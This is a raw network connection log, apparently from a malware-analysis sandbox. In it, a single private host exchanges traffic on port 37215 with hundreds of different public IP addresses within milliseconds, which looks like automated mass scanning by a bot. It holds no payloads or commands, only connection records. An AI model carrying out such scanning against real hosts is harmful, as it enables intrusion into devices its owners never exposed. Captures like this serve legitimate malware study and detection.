Aug 6, 2024 08:32:56.823975086 CEST	61142	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:56.823975086 CEST	61142	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:56.823975086 CEST	61142	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:56.823983908 CEST	37215	61142	41.137.49.124	192.168.2.14
Aug 6, 2024 08:32:56.823992968 CEST	61142	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:56.823995113 CEST	37215	61142	41.150.227.160	192.168.2.14
Aug 6, 2024 08:32:56.824004889 CEST	37215	61142	41.164.3.200	192.168.2.14
Aug 6, 2024 08:32:56.824007034 CEST	61142	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:56.824014902 CEST	37215	61142	197.178.231.23	192.168.2.14
Aug 6, 2024 08:32:56.824017048 CEST	61142	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:56.824023008 CEST	61142	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:56.824026108 CEST	37215	61142	156.163.154.143	192.168.2.14
Aug 6, 2024 08:32:56.824037075 CEST	37215	61142	41.34.50.198	192.168.2.14
Aug 6, 2024 08:32:56.824038982 CEST	61142	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:56.824044943 CEST	61142	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:56.824048042 CEST	37215	61142	41.45.249.113	192.168.2.14
Aug 6, 2024 08:32:56.824057102 CEST	61142	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:56.824059010 CEST	37215	61142	156.201.149.51	192.168.2.14
Aug 6, 2024 08:32:56.824069023 CEST	61142	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:56.824069977 CEST	37215	61142	197.147.67.118	192.168.2.14
Aug 6, 2024 08:32:56.824079990 CEST	37215	61142	156.32.123.200	192.168.2.14
Aug 6, 2024 08:32:56.824080944 CEST	61142	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:56.824091911 CEST	37215	61142	156.183.46.173	192.168.2.14
Aug 6, 2024 08:32:56.824099064 CEST	61142	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:56.824103117 CEST	37215	61142	156.159.84.59	192.168.2.14
Aug 6, 2024 08:32:56.824112892 CEST	61142	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:56.824112892 CEST	61142	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:56.824114084 CEST	37215	61142	41.199.180.220	192.168.2.14
Aug 6, 2024 08:32:56.824120045 CEST	61142	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:56.824136019 CEST	61142	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:56.824146986 CEST	61142	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:56.824176073 CEST	37215	61142	156.203.201.64	192.168.2.14
Aug 6, 2024 08:32:56.824186087 CEST	37215	61142	156.220.29.16	192.168.2.14
Aug 6, 2024 08:32:56.824194908 CEST	37215	61142	156.129.31.110	192.168.2.14
Aug 6, 2024 08:32:56.824204922 CEST	37215	61142	41.64.229.92	192.168.2.14
Aug 6, 2024 08:32:56.824214935 CEST	37215	61142	156.61.31.26	192.168.2.14
Aug 6, 2024 08:32:56.824217081 CEST	61142	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:56.824224949 CEST	37215	61142	197.39.222.191	192.168.2.14
Aug 6, 2024 08:32:56.824229956 CEST	61142	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:56.824233055 CEST	61142	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:56.824242115 CEST	61142	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:56.824243069 CEST	61142	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:56.824258089 CEST	37215	61142	41.179.116.217	192.168.2.14
Aug 6, 2024 08:32:56.824259043 CEST	61142	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:56.824269056 CEST	37215	61142	156.167.74.1	192.168.2.14
Aug 6, 2024 08:32:56.824280024 CEST	37215	61142	41.234.139.223	192.168.2.14
Aug 6, 2024 08:32:56.824290991 CEST	37215	61142	41.142.161.8	192.168.2.14
Aug 6, 2024 08:32:56.824295044 CEST	61142	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:56.824301958 CEST	37215	61142	156.227.117.100	192.168.2.14
Aug 6, 2024 08:32:56.824304104 CEST	61142	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:56.824304104 CEST	61142	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:56.824314117 CEST	37215	61142	197.129.180.128	192.168.2.14
Aug 6, 2024 08:32:56.824317932 CEST	61142	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:56.824325085 CEST	37215	61142	41.205.118.26	192.168.2.14
Aug 6, 2024 08:32:56.824330091 CEST	61142	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:56.824337006 CEST	37215	61142	156.55.85.117	192.168.2.14
Aug 6, 2024 08:32:56.824343920 CEST	61142	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:56.824347973 CEST	37215	61142	156.224.207.229	192.168.2.14
Aug 6, 2024 08:32:56.824354887 CEST	61142	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:56.824358940 CEST	37215	61142	156.222.74.186	192.168.2.14
Aug 6, 2024 08:32:56.824366093 CEST	61142	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:56.824369907 CEST	37215	61142	41.88.164.69	192.168.2.14
Aug 6, 2024 08:32:56.824381113 CEST	61142	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:56.824383974 CEST	37215	61142	41.69.62.137	192.168.2.14
Aug 6, 2024 08:32:56.824389935 CEST	61142	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:56.824395895 CEST	37215	61142	156.0.126.61	192.168.2.14
Aug 6, 2024 08:32:56.824408054 CEST	37215	61142	41.51.78.43	192.168.2.14
Aug 6, 2024 08:32:56.824409962 CEST	61142	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:56.824412107 CEST	61142	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:56.824419022 CEST	37215	61142	41.60.167.28	192.168.2.14
Aug 6, 2024 08:32:56.824424982 CEST	61142	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:56.824429989 CEST	37215	61142	156.132.197.53	192.168.2.14
Aug 6, 2024 08:32:56.824439049 CEST	61142	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:56.824440956 CEST	37215	61142	156.252.2.121	192.168.2.14
Aug 6, 2024 08:32:56.824453115 CEST	37215	61142	156.90.27.13	192.168.2.14
Aug 6, 2024 08:32:56.824457884 CEST	61142	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:56.824465036 CEST	37215	61142	156.232.20.55	192.168.2.14
Aug 6, 2024 08:32:56.824466944 CEST	61142	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:56.824476004 CEST	37215	61142	41.242.100.27	192.168.2.14
Aug 6, 2024 08:32:56.824493885 CEST	37215	61142	156.107.107.14	192.168.2.14
Aug 6, 2024 08:32:56.824495077 CEST	61142	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:56.824495077 CEST	61142	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:56.824506044 CEST	37215	61142	197.204.204.27	192.168.2.14
Aug 6, 2024 08:32:56.824507952 CEST	61142	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:56.824528933 CEST	37215	61142	41.195.75.21	192.168.2.14
Aug 6, 2024 08:32:56.824533939 CEST	61142	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:56.824533939 CEST	61142	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:56.824536085 CEST	61142	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:56.824539900 CEST	37215	61142	197.28.182.242	192.168.2.14
Aug 6, 2024 08:32:56.824552059 CEST	37215	61142	197.94.98.140	192.168.2.14
Aug 6, 2024 08:32:56.824563026 CEST	37215	61142	41.116.61.218	192.168.2.14
Aug 6, 2024 08:32:56.824564934 CEST	61142	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:56.824573994 CEST	37215	61142	156.181.110.86	192.168.2.14
Aug 6, 2024 08:32:56.824579000 CEST	61142	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:56.824582100 CEST	61142	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:56.824587107 CEST	37215	61142	197.197.24.70	192.168.2.14
Aug 6, 2024 08:32:56.824598074 CEST	37215	61142	41.42.85.198	192.168.2.14
Aug 6, 2024 08:32:56.824600935 CEST	61142	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:56.824600935 CEST	61142	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:56.824609041 CEST	37215	61142	197.229.89.107	192.168.2.14
Aug 6, 2024 08:32:56.824620008 CEST	37215	61142	156.5.53.84	192.168.2.14
Aug 6, 2024 08:32:56.824624062 CEST	61142	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:56.824628115 CEST	61142	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:56.824629068 CEST	37215	61142	156.178.121.45	192.168.2.14
Aug 6, 2024 08:32:56.824636936 CEST	61142	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:56.824640036 CEST	37215	61142	156.83.69.150	192.168.2.14
Aug 6, 2024 08:32:56.824651003 CEST	37215	61142	156.198.249.101	192.168.2.14
Aug 6, 2024 08:32:56.824654102 CEST	61142	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:56.824656010 CEST	61142	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:56.824661970 CEST	37215	61142	156.213.90.130	192.168.2.14
Aug 6, 2024 08:32:56.824672937 CEST	61142	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:56.824672937 CEST	37215	61142	41.99.158.148	192.168.2.14
Aug 6, 2024 08:32:56.824681044 CEST	61142	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:56.824681997 CEST	37215	61142	197.116.99.16	192.168.2.14
Aug 6, 2024 08:32:56.824697018 CEST	37215	61142	156.246.176.160	192.168.2.14
Aug 6, 2024 08:32:56.824700117 CEST	61142	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:56.824696064 CEST	61142	37215	192.168.2.14	156.213.90.130
Aug 6, 2024 08:32:56.824707985 CEST	37215	61142	41.3.58.68	192.168.2.14
Aug 6, 2024 08:32:56.824716091 CEST	61142	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:56.824719906 CEST	37215	61142	197.205.58.249	192.168.2.14
Aug 6, 2024 08:32:56.824731112 CEST	61142	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:56.824731112 CEST	37215	61142	197.141.165.224	192.168.2.14
Aug 6, 2024 08:32:56.824742079 CEST	37215	61142	156.209.183.183	192.168.2.14
Aug 6, 2024 08:32:56.824744940 CEST	61142	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:56.824748039 CEST	61142	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:56.824754000 CEST	37215	61142	41.235.232.193	192.168.2.14
Aug 6, 2024 08:32:56.824760914 CEST	61142	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:56.824764013 CEST	37215	61142	41.47.235.221	192.168.2.14
Aug 6, 2024 08:32:56.824775934 CEST	37215	61142	41.34.23.164	192.168.2.14
Aug 6, 2024 08:32:56.824779034 CEST	61142	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:56.824786901 CEST	37215	61142	197.203.208.42	192.168.2.14
Aug 6, 2024 08:32:56.824794054 CEST	61142	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:56.824795961 CEST	61142	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:56.824798107 CEST	37215	61142	156.146.138.56	192.168.2.14
Aug 6, 2024 08:32:56.824809074 CEST	37215	61142	156.28.212.86	192.168.2.14
Aug 6, 2024 08:32:56.824815035 CEST	61142	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:56.824816942 CEST	61142	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:56.824820995 CEST	37215	61142	41.244.209.174	192.168.2.14
Aug 6, 2024 08:32:56.824830055 CEST	61142	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:56.824831963 CEST	37215	61142	156.135.80.58	192.168.2.14
Aug 6, 2024 08:32:56.824843884 CEST	61142	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:56.824851990 CEST	61142	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:56.824857950 CEST	61142	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:56.824961901 CEST	37215	61142	197.150.29.200	192.168.2.14
Aug 6, 2024 08:32:56.824973106 CEST	37215	61142	197.183.103.104	192.168.2.14
Aug 6, 2024 08:32:56.824981928 CEST	37215	61142	156.94.250.60	192.168.2.14
Aug 6, 2024 08:32:56.824992895 CEST	37215	61142	156.95.131.110	192.168.2.14
Aug 6, 2024 08:32:56.825004101 CEST	37215	61142	41.164.18.227	192.168.2.14
Aug 6, 2024 08:32:56.825006962 CEST	61142	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:56.825012922 CEST	61142	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:56.825014114 CEST	37215	61142	197.31.205.62	192.168.2.14
Aug 6, 2024 08:32:56.825016022 CEST	61142	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:56.825026035 CEST	61142	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:56.825026989 CEST	37215	61142	41.241.47.76	192.168.2.14
Aug 6, 2024 08:32:56.825033903 CEST	61142	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:56.825037956 CEST	37215	61142	156.45.179.57	192.168.2.14
Aug 6, 2024 08:32:56.825048923 CEST	37215	61142	197.21.237.243	192.168.2.14
Aug 6, 2024 08:32:56.825057030 CEST	61142	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:56.825059891 CEST	37215	61142	197.210.183.23	192.168.2.14
Aug 6, 2024 08:32:56.825066090 CEST	61142	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:56.825069904 CEST	37215	61142	41.210.226.180	192.168.2.14
Aug 6, 2024 08:32:56.825086117 CEST	61142	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:56.825086117 CEST	61142	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:56.825095892 CEST	61142	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:56.825109959 CEST	61142	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:56.825176954 CEST	37215	61142	41.162.103.68	192.168.2.14
Aug 6, 2024 08:32:56.825187922 CEST	37215	61142	197.144.79.247	192.168.2.14
Aug 6, 2024 08:32:56.825196981 CEST	37215	61142	41.242.140.238	192.168.2.14
Aug 6, 2024 08:32:56.825206995 CEST	37215	61142	197.203.159.212	192.168.2.14
Aug 6, 2024 08:32:56.825212955 CEST	61142	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:56.825217962 CEST	37215	61142	156.99.80.91	192.168.2.14
Aug 6, 2024 08:32:56.825217962 CEST	61142	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:56.825227976 CEST	37215	61142	41.217.111.255	192.168.2.14
Aug 6, 2024 08:32:56.825228930 CEST	61142	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:56.825233936 CEST	61142	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:56.825238943 CEST	37215	61142	41.48.241.76	192.168.2.14
Aug 6, 2024 08:32:56.825244904 CEST	61142	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:56.825249910 CEST	37215	61142	41.113.66.102	192.168.2.14
Aug 6, 2024 08:32:56.825261116 CEST	61142	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:56.825261116 CEST	37215	61142	41.96.167.241	192.168.2.14
Aug 6, 2024 08:32:56.825268984 CEST	61142	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:56.825272083 CEST	37215	61142	41.187.38.232	192.168.2.14
Aug 6, 2024 08:32:56.825278997 CEST	61142	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:56.825283051 CEST	37215	61142	197.211.102.57	192.168.2.14
Aug 6, 2024 08:32:56.825289011 CEST	61142	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:56.825294018 CEST	37215	61142	41.168.55.54	192.168.2.14
Aug 6, 2024 08:32:56.825304985 CEST	61142	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:56.825304985 CEST	37215	61142	197.129.188.53	192.168.2.14
Aug 6, 2024 08:32:56.825311899 CEST	61142	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:56.825316906 CEST	37215	61142	41.225.39.66	192.168.2.14
Aug 6, 2024 08:32:56.825324059 CEST	61142	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:56.825326920 CEST	37215	61142	197.80.100.123	192.168.2.14
Aug 6, 2024 08:32:56.825339079 CEST	37215	61142	156.44.129.184	192.168.2.14
Aug 6, 2024 08:32:56.825340033 CEST	61142	37215	192.168.2.14	197.129.188.53
Aug 6, 2024 08:32:56.825341940 CEST	61142	37215	192.168.2.14	41.225.39.66
Aug 6, 2024 08:32:56.825350046 CEST	37215	61142	197.127.41.121	192.168.2.14
Aug 6, 2024 08:32:56.825364113 CEST	61142	37215	192.168.2.14	197.80.100.123
Aug 6, 2024 08:32:56.825370073 CEST	61142	37215	192.168.2.14	156.44.129.184
Aug 6, 2024 08:32:56.825371027 CEST	37215	61142	197.126.10.193	192.168.2.14
Aug 6, 2024 08:32:56.825382948 CEST	37215	61142	197.154.7.11	192.168.2.14
Aug 6, 2024 08:32:56.825385094 CEST	61142	37215	192.168.2.14	197.127.41.121
Aug 6, 2024 08:32:56.825393915 CEST	37215	61142	41.81.246.30	192.168.2.14
Aug 6, 2024 08:32:56.825402975 CEST	61142	37215	192.168.2.14	197.126.10.193
Aug 6, 2024 08:32:56.825403929 CEST	37215	61142	197.241.182.112	192.168.2.14
Aug 6, 2024 08:32:56.825414896 CEST	37215	61142	41.38.241.60	192.168.2.14
Aug 6, 2024 08:32:56.825416088 CEST	61142	37215	192.168.2.14	197.154.7.11
Aug 6, 2024 08:32:56.825423956 CEST	37215	61142	197.193.18.117	192.168.2.14
Aug 6, 2024 08:32:56.825424910 CEST	61142	37215	192.168.2.14	41.81.246.30
Aug 6, 2024 08:32:56.825434923 CEST	37215	61142	41.31.137.85	192.168.2.14
Aug 6, 2024 08:32:56.825443029 CEST	61142	37215	192.168.2.14	197.241.182.112
Aug 6, 2024 08:32:56.825445890 CEST	37215	61142	41.15.163.226	192.168.2.14
Aug 6, 2024 08:32:56.825454950 CEST	37215	61142	41.33.222.0	192.168.2.14
Aug 6, 2024 08:32:56.825464964 CEST	61142	37215	192.168.2.14	41.38.241.60
Aug 6, 2024 08:32:56.825465918 CEST	37215	61142	197.56.49.46	192.168.2.14
Aug 6, 2024 08:32:56.825464964 CEST	61142	37215	192.168.2.14	41.31.137.85
Aug 6, 2024 08:32:56.825479031 CEST	37215	61142	41.164.8.110	192.168.2.14
Aug 6, 2024 08:32:56.825478077 CEST	61142	37215	192.168.2.14	197.193.18.117
Aug 6, 2024 08:32:56.825478077 CEST	61142	37215	192.168.2.14	41.15.163.226
Aug 6, 2024 08:32:56.825480938 CEST	61142	37215	192.168.2.14	41.33.222.0
Aug 6, 2024 08:32:56.825489044 CEST	37215	61142	41.106.36.243	192.168.2.14
Aug 6, 2024 08:32:56.825499058 CEST	61142	37215	192.168.2.14	197.56.49.46
Aug 6, 2024 08:32:56.825499058 CEST	37215	61142	41.81.241.106	192.168.2.14
Aug 6, 2024 08:32:56.825510025 CEST	37215	61142	197.182.131.25	192.168.2.14
Aug 6, 2024 08:32:56.825510979 CEST	61142	37215	192.168.2.14	41.164.8.110
Aug 6, 2024 08:32:56.825520992 CEST	37215	61142	197.125.42.65	192.168.2.14
Aug 6, 2024 08:32:56.825521946 CEST	61142	37215	192.168.2.14	41.106.36.243
Aug 6, 2024 08:32:56.825531960 CEST	37215	61142	197.184.42.189	192.168.2.14
Aug 6, 2024 08:32:56.825545073 CEST	61142	37215	192.168.2.14	41.81.241.106
Aug 6, 2024 08:32:56.825546026 CEST	37215	61142	156.85.171.206	192.168.2.14
Aug 6, 2024 08:32:56.825546026 CEST	61142	37215	192.168.2.14	197.182.131.25
Aug 6, 2024 08:32:56.825548887 CEST	61142	37215	192.168.2.14	197.125.42.65
Aug 6, 2024 08:32:56.825556040 CEST	37215	61142	41.102.17.195	192.168.2.14
Aug 6, 2024 08:32:56.825566053 CEST	61142	37215	192.168.2.14	197.184.42.189
Aug 6, 2024 08:32:56.825567007 CEST	37215	61142	41.67.26.104	192.168.2.14
Aug 6, 2024 08:32:56.825577021 CEST	37215	61142	197.199.54.86	192.168.2.14
Aug 6, 2024 08:32:56.825577021 CEST	61142	37215	192.168.2.14	156.85.171.206
Aug 6, 2024 08:32:56.825587034 CEST	61142	37215	192.168.2.14	41.102.17.195
Aug 6, 2024 08:32:56.825587034 CEST	37215	61142	156.243.95.77	192.168.2.14
Aug 6, 2024 08:32:56.825597048 CEST	37215	61142	41.138.94.83	192.168.2.14
Aug 6, 2024 08:32:56.825597048 CEST	61142	37215	192.168.2.14	41.67.26.104
Aug 6, 2024 08:32:56.825604916 CEST	61142	37215	192.168.2.14	197.199.54.86
Aug 6, 2024 08:32:56.825608015 CEST	37215	61142	156.83.38.198	192.168.2.14
Aug 6, 2024 08:32:56.825619936 CEST	37215	61142	197.91.152.70	192.168.2.14
Aug 6, 2024 08:32:56.825625896 CEST	61142	37215	192.168.2.14	156.243.95.77
Aug 6, 2024 08:32:56.825625896 CEST	61142	37215	192.168.2.14	41.138.94.83
Aug 6, 2024 08:32:56.825629950 CEST	37215	61142	156.35.207.34	192.168.2.14
Aug 6, 2024 08:32:56.825639963 CEST	37215	61142	156.91.153.27	192.168.2.14
Aug 6, 2024 08:32:56.825639009 CEST	61142	37215	192.168.2.14	156.83.38.198
Aug 6, 2024 08:32:56.825650930 CEST	37215	61142	156.197.209.77	192.168.2.14
Aug 6, 2024 08:32:56.825658083 CEST	61142	37215	192.168.2.14	197.91.152.70
Aug 6, 2024 08:32:56.825658083 CEST	61142	37215	192.168.2.14	156.35.207.34
Aug 6, 2024 08:32:56.825661898 CEST	37215	61142	41.7.6.195	192.168.2.14
Aug 6, 2024 08:32:56.825670004 CEST	61142	37215	192.168.2.14	156.91.153.27
Aug 6, 2024 08:32:56.825675011 CEST	37215	61142	197.77.215.2	192.168.2.14
Aug 6, 2024 08:32:56.825680971 CEST	61142	37215	192.168.2.14	156.197.209.77
Aug 6, 2024 08:32:56.825686932 CEST	37215	61142	197.106.150.96	192.168.2.14
Aug 6, 2024 08:32:56.825689077 CEST	61142	37215	192.168.2.14	41.7.6.195
Aug 6, 2024 08:32:56.825699091 CEST	37215	61142	41.89.22.189	192.168.2.14
Aug 6, 2024 08:32:56.825705051 CEST	61142	37215	192.168.2.14	197.77.215.2
Aug 6, 2024 08:32:56.825710058 CEST	37215	61142	41.96.213.218	192.168.2.14
Aug 6, 2024 08:32:56.825716972 CEST	61142	37215	192.168.2.14	197.106.150.96
Aug 6, 2024 08:32:56.825721979 CEST	37215	61142	41.123.222.126	192.168.2.14
Aug 6, 2024 08:32:56.825732946 CEST	37215	61142	156.45.172.65	192.168.2.14
Aug 6, 2024 08:32:56.825742006 CEST	37215	61142	41.10.80.105	192.168.2.14
Aug 6, 2024 08:32:56.825742960 CEST	61142	37215	192.168.2.14	41.96.213.218
Aug 6, 2024 08:32:56.825751066 CEST	37215	61142	197.83.197.228	192.168.2.14
Aug 6, 2024 08:32:56.825753927 CEST	61142	37215	192.168.2.14	41.89.22.189
Aug 6, 2024 08:32:56.825753927 CEST	61142	37215	192.168.2.14	41.123.222.126
Aug 6, 2024 08:32:56.825753927 CEST	61142	37215	192.168.2.14	156.45.172.65
Aug 6, 2024 08:32:56.825761080 CEST	37215	61142	156.231.18.29	192.168.2.14
Aug 6, 2024 08:32:56.825771093 CEST	37215	61142	197.28.251.186	192.168.2.14
Aug 6, 2024 08:32:56.825773954 CEST	61142	37215	192.168.2.14	41.10.80.105
Aug 6, 2024 08:32:56.825781107 CEST	37215	61142	197.60.18.84	192.168.2.14
Aug 6, 2024 08:32:56.825786114 CEST	61142	37215	192.168.2.14	197.83.197.228
Aug 6, 2024 08:32:56.825794935 CEST	37215	61142	197.162.211.222	192.168.2.14
Aug 6, 2024 08:32:56.825798035 CEST	61142	37215	192.168.2.14	156.231.18.29
Aug 6, 2024 08:32:56.825803995 CEST	61142	37215	192.168.2.14	197.28.251.186
Aug 6, 2024 08:32:56.825805902 CEST	37215	61142	41.139.211.115	192.168.2.14
Aug 6, 2024 08:32:56.825814009 CEST	61142	37215	192.168.2.14	197.60.18.84
Aug 6, 2024 08:32:56.825817108 CEST	37215	61142	197.28.159.181	192.168.2.14
Aug 6, 2024 08:32:56.825829029 CEST	37215	61142	197.253.165.24	192.168.2.14
Aug 6, 2024 08:32:56.825829029 CEST	61142	37215	192.168.2.14	197.162.211.222
Aug 6, 2024 08:32:56.825839043 CEST	37215	61142	41.158.111.235	192.168.2.14
Aug 6, 2024 08:32:56.825846910 CEST	61142	37215	192.168.2.14	41.139.211.115
Aug 6, 2024 08:32:56.825849056 CEST	37215	61142	156.23.150.196	192.168.2.14
Aug 6, 2024 08:32:56.825849056 CEST	61142	37215	192.168.2.14	197.28.159.181
Aug 6, 2024 08:32:56.825860023 CEST	37215	61142	156.206.42.236	192.168.2.14
Aug 6, 2024 08:32:56.825860023 CEST	61142	37215	192.168.2.14	197.253.165.24
Aug 6, 2024 08:32:56.825870037 CEST	37215	61142	41.70.65.31	192.168.2.14
Aug 6, 2024 08:32:56.825880051 CEST	37215	61142	156.56.147.18	192.168.2.14
Aug 6, 2024 08:32:56.825884104 CEST	61142	37215	192.168.2.14	41.158.111.235
Aug 6, 2024 08:32:56.825886011 CEST	61142	37215	192.168.2.14	156.23.150.196
Aug 6, 2024 08:32:56.825891018 CEST	37215	61142	156.120.245.227	192.168.2.14
Aug 6, 2024 08:32:56.825891972 CEST	61142	37215	192.168.2.14	156.206.42.236
Aug 6, 2024 08:32:56.825901031 CEST	37215	61142	41.195.255.201	192.168.2.14
Aug 6, 2024 08:32:56.825907946 CEST	61142	37215	192.168.2.14	41.70.65.31
Aug 6, 2024 08:32:56.825910091 CEST	61142	37215	192.168.2.14	156.56.147.18
Aug 6, 2024 08:32:56.825911045 CEST	37215	61142	156.18.75.129	192.168.2.14
Aug 6, 2024 08:32:56.825912952 CEST	61142	37215	192.168.2.14	156.120.245.227
Aug 6, 2024 08:32:56.825921059 CEST	37215	61142	41.233.223.215	192.168.2.14
Aug 6, 2024 08:32:56.825932026 CEST	37215	61142	156.118.66.78	192.168.2.14
Aug 6, 2024 08:32:56.825941086 CEST	61142	37215	192.168.2.14	41.195.255.201
Aug 6, 2024 08:32:56.825942039 CEST	37215	61142	41.233.200.122	192.168.2.14
Aug 6, 2024 08:32:56.825941086 CEST	61142	37215	192.168.2.14	156.18.75.129
Aug 6, 2024 08:32:56.825952053 CEST	37215	61142	41.7.56.100	192.168.2.14
Aug 6, 2024 08:32:56.825958967 CEST	61142	37215	192.168.2.14	41.233.223.215
Aug 6, 2024 08:32:56.825958967 CEST	61142	37215	192.168.2.14	156.118.66.78
Aug 6, 2024 08:32:56.825963020 CEST	37215	61142	41.88.247.163	192.168.2.14
Aug 6, 2024 08:32:56.825972080 CEST	61142	37215	192.168.2.14	41.233.200.122
Aug 6, 2024 08:32:56.825980902 CEST	61142	37215	192.168.2.14	41.7.56.100
Aug 6, 2024 08:32:56.825984955 CEST	37215	61142	156.54.244.143	192.168.2.14
Aug 6, 2024 08:32:56.825988054 CEST	61142	37215	192.168.2.14	41.88.247.163
Aug 6, 2024 08:32:56.825997114 CEST	37215	61142	41.77.166.47	192.168.2.14
Aug 6, 2024 08:32:56.826006889 CEST	37215	61142	41.146.211.154	192.168.2.14
Aug 6, 2024 08:32:56.826014996 CEST	61142	37215	192.168.2.14	156.54.244.143
Aug 6, 2024 08:32:56.826019049 CEST	37215	61142	197.190.131.213	192.168.2.14
Aug 6, 2024 08:32:56.826021910 CEST	61142	37215	192.168.2.14	41.77.166.47
Aug 6, 2024 08:32:56.826030016 CEST	37215	61142	197.215.144.28	192.168.2.14
Aug 6, 2024 08:32:56.826037884 CEST	61142	37215	192.168.2.14	41.146.211.154
Aug 6, 2024 08:32:56.826040030 CEST	37215	61142	197.155.153.111	192.168.2.14
Aug 6, 2024 08:32:56.826046944 CEST	61142	37215	192.168.2.14	197.190.131.213
Aug 6, 2024 08:32:56.826050043 CEST	37215	61142	41.95.209.1	192.168.2.14
Aug 6, 2024 08:32:56.826055050 CEST	61142	37215	192.168.2.14	197.215.144.28
Aug 6, 2024 08:32:56.826060057 CEST	37215	61142	156.151.83.159	192.168.2.14
Aug 6, 2024 08:32:56.826081991 CEST	37215	61142	156.51.223.83	192.168.2.14
Aug 6, 2024 08:32:56.826081991 CEST	61142	37215	192.168.2.14	197.155.153.111
